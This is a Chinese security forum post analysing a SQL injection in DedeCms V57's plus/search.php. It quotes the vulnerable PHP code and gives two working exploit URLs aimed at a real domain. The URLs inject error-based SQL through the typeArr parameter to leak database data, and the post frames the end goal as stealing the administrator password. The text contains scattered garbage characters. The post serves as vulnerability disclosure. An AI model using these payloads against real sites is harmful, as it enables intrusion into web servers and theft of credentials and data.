找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2379|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
# y! Z2 I+ v' E- z9 x3 X作者: c4rp3nt3r@0x50sec.org5 Q  i" `5 R+ ?" K* v  |
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
5 e: n4 \0 ?' F* N4 o- `  b, U: H
0 J" F" q+ p$ A! I1 b& b7 l0 R黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
; @/ Z$ f' v" }3 a4 ~0 n " A, \: _& i% |1 P3 A9 F. e+ K3 C
============9 U; @* e2 }4 `* I6 s

# b1 R. p& ?7 |0 V. i/ I$ h
: Z7 ]% L, f4 Z5 ?  e, x. [Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.* R( S8 t( L. X3 i
" o& C' O" x& b8 E8 Y3 o. F
require_once(dirname(__FILE__).”/../include/common.inc.php”);
8 A" x0 o5 `1 u' z* urequire_once(DEDEINC.”/arc.searchview.class.php”);- r, Y" i7 c. s3 t1 z2 p
" }# V" [+ w/ W, |4 B
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;) }; C  G9 o, u. q% q! w
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;0 d  V7 W3 [- \" B$ T
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;& S3 l2 Z" B9 ^
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
7 T! l% O3 O) K8 Z9 L4 }3 c9 `8 Q! F$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
( U! t7 n8 r4 f
- B" E% Z6 Y# n) ?9 L% g2 [if(!isset($orderby)) $orderby=”;2 _! _. N& f6 w2 ^
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
5 O/ w8 d7 |9 U# e7 O, V 8 Y1 V2 u" i8 [0 ~9 h  g* S

0 P0 [4 T& `. G0 Rif(!isset($searchtype)) $searchtype = ‘titlekeyword’;8 t* h0 o; ~' R& w% q! F1 d  m, R6 w7 k
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);4 f3 z6 P6 m% N4 i( R

; a; u% O# |! G2 \2 vif(!isset($keyword)){" y/ Y3 u. V+ a  {9 Z6 |
    if(!isset($q)) $q = ”;
4 t4 h' ]& v' _( l, Q$ I    $keyword=$q;
# H" y9 b( {; F5 G" x}( ^$ Q: _! D" I: R1 e7 a
) O: \' }- a  W% c/ D) |# N# ]
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));9 k+ J( K# m/ ^4 ]/ b  T0 d

+ X$ X6 ]# E8 a! ?3 G/ X; P- E0 x7 P4 ]//查找栏目信息
4 E& _6 r5 r  d) U1 V4 q6 Dif(empty($typeid))
0 @+ S8 P. U4 y2 _* G* z{0 Q3 _: L$ n' I. M  k) x1 [
    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;8 Y$ T) |5 g3 F
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
5 @! M  }9 F, J3 d% K% H    {8 V6 P! \3 x* @
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);: c. U2 P6 a4 C$ p3 u
        fwrite($fp, “<”.”?php\r\n”);
) K3 p& K8 v6 [        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
" q* N1 n+ E) [        $dsql->Execute();) ?+ X+ y- Q! v' P, |4 Z$ r! l$ s* w
        while($row = $dsql->GetArray()): c4 U* A& q( B6 e# j
        {0 k5 Y0 O" X: L8 q& w
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
1 `0 S: l3 T6 [$ g9 i: m9 R! v& r        }2 F" ^% R! K5 x! w& Z8 D$ t8 @' a
        fwrite($fp, ‘?’.'>’);% w" ]% B6 y4 k
        fclose($fp);/ a( K* }, o  b# e7 R
    }. P9 w! M; O& h4 j" j  G- b; R2 f
    //引入栏目缓存并看关键字是否有相关栏目内容$ I8 e, {' @& r6 w. X* b7 j
    require_once($typenameCacheFile);- G( c0 p% b) @7 t
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个2 f" S; x/ A  c8 {
//
* j3 a: B8 V& p- j5 s( ^( V3 w    if(isset($typeArr) && is_array($typeArr))
+ V4 ?" v$ i& h: i9 C$ S+ l    {
7 Z7 \1 i9 n0 K; F        foreach($typeArr as $id=>$typename)" u" V# M2 t" Y3 P% A$ R
        {
% `% X9 H3 S4 h9 s6 g  G9 `
8 D  [5 a9 V6 T& s+ ?, l            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过3 u" |7 z* H( @; z% }3 S
            if($keyword != $keywordn): r1 H# c  i! X; X
            {
( }) F$ w' E, [7 h6 O  m- U: {                $keyword = $keywordn;9 r# G" F( `, @. _2 ^0 D0 n2 [
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
7 [9 u# [5 J: v/ B9 M4 ]1 s* Y                break;
/ \! X/ ^' t" y5 v, K            }
" v; Z: m4 u4 j" D        }) v- h! T. X) _5 `3 V6 o1 W0 A
    }
7 W3 \1 g3 s& s3 f}
) w/ b5 O* f" v3 J然后plus/search.php文件下面定义了一个 Search类的对象 .
5 J# _: D: |' Y# C  ?5 O在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
+ B1 ^- G" u/ }7 i, i" D* N$this->TypeLink = new TypeLink($typeid);- b7 H3 x, J: u( N7 {

5 ]0 T" R5 `9 ?; O8 jTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.4 n1 p7 @% W8 l9 W! s: Y

$ \4 Y" F5 F! E  [2 P4 `; cclass TypeLink- D5 o! C$ w; U% \5 F
{
3 b, P6 ^( O# x8 c7 k& U7 a/ ^+ K    var $typeDir;
2 ~: W3 t' }4 X* d/ Y+ g    var $dsql;
, J: o: Q/ L5 |4 S    var $TypeID;
3 d0 A, b5 m; a% b) g1 U    var $baseDir;2 T- p8 {7 Z; N! D; X7 s+ U
    var $modDir;* J/ h' E8 u  `1 P7 d. ^9 S
    var $indexUrl;
9 f/ U) @$ F7 n$ |) |. S  u3 N3 P* O7 Z    var $indexName;
9 C$ U) a% a; j3 B6 {$ _    var $TypeInfos;
* g" e, |1 h- _) f    var $SplitSymbol;
& @8 R" {, a9 a3 w$ o, p    var $valuePosition;( ]0 B3 G' X" [& J3 ]/ |
    var $valuePositionName;) P% C$ b8 C' Z# a7 S
    var $OptionArrayList;//构造函数///////
  p. v% k1 \1 `/ y0 R1 ]    //php5构造函数" u/ Y: c5 ]6 Z$ D: n
    function __construct($typeid)" V* U, E- i4 Y$ h/ o! `- i1 X# p5 d
    {, Z; W' s% Q) W! {& z0 ~$ X
        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];, m2 r  `3 ?$ k! P; f
        $this->indexName = $GLOBALS['cfg_indexname'];
/ e# w% C8 W$ T: v$ A        $this->baseDir = $GLOBALS['cfg_basedir'];+ g# ^0 @- ]- n0 `/ O; v- t
        $this->modDir = $GLOBALS['cfg_templets_dir'];
( p  ~8 x: m. J; _3 D, I        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];; ]9 m4 Q5 v: x) k) p" ?5 W
        $this->dsql = $GLOBALS['dsql'];
7 l# p: e+ I9 O) s" x        $this->TypeID = $typeid;
; D  W6 N% b6 l0 x; O        $this->valuePosition = ”;5 H; k7 J; f1 \
        $this->valuePositionName = ”;
4 H( Y: P; U, C' _        $this->typeDir = ”;
# W( R. |  f/ a" X        $this->OptionArrayList = ”;5 t, ]& C% T/ w
& l) m& x( |- Z  F
        //载入类目信息
" c, B: t; V- h' C# Q ) m" X' V5 `' [; {, K
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
! t% k" x* W2 f& Ictypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join8 y" O" T4 ]  z; V. H1 a
`#@__channeltype` ch
' v+ `, b5 t. H1 [9 a& p+ d        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
2 e% A) G- ^0 t! S9 k & J  R* p" x& N) c4 b- i) m
        if($typeid > 0)
% k5 H9 ^, T$ z& {2 d' ~        {
: w- Q* h  [! }: [. F5 m            $this->TypeInfos = $this->dsql->GetOne($query);
. S/ e* p( q2 N5 @! K利用代码一 需要 即使magic_quotes_gpc = Off
" P; E0 V6 x+ b( D " f8 w8 }  N9 f6 S# ~3 G- n4 e
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
; C, D  `' W: O. x: P) k  m ; a/ v1 ?# V+ i
这只是其中一个利用代码… Search 类的构造函数再往下0 L, [  f2 Q7 |+ p9 ^) u

  b( r' e* B# O4 V0 R# U……省略$ e+ E1 o4 r# S3 Z7 d* M
$this->TypeID = $typeid;% `- t# J" d$ q* B; C8 Z; r* Z, L
……省略
" N" y# l" }3 J  p3 _! j; K4 v, lif($this->TypeID==”0″){
+ p- d( V5 n$ F4 E( ]; V) T7 ~) O$ q            $this->ChannelTypeid=1;0 A1 Z" ?1 s( b. \/ {1 {6 u) C
        }else{% G# H% X/ r% f3 g7 p# k
            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
# L4 q" o1 y5 f# a/ O9 U//现在不鸡肋了吧亲…" F- `. V- [6 w) {
            $this->ChannelTypeid=$row['channeltype'];- X( Z/ R  U4 J& l$ ]7 S
: d: B3 z  M: y0 p! K  o1 ]
        }2 O2 X) j. ?( a9 F" u, Z
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
8 n  k0 K  V' K6 @7 E+ i
* I2 J' ~. j, n3 {% pwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
8 r1 T( n: z) T2 @7 T: j 3 o* y/ B" i8 l9 E- m5 L' n
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
  s6 k1 t0 q  O( v+ F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表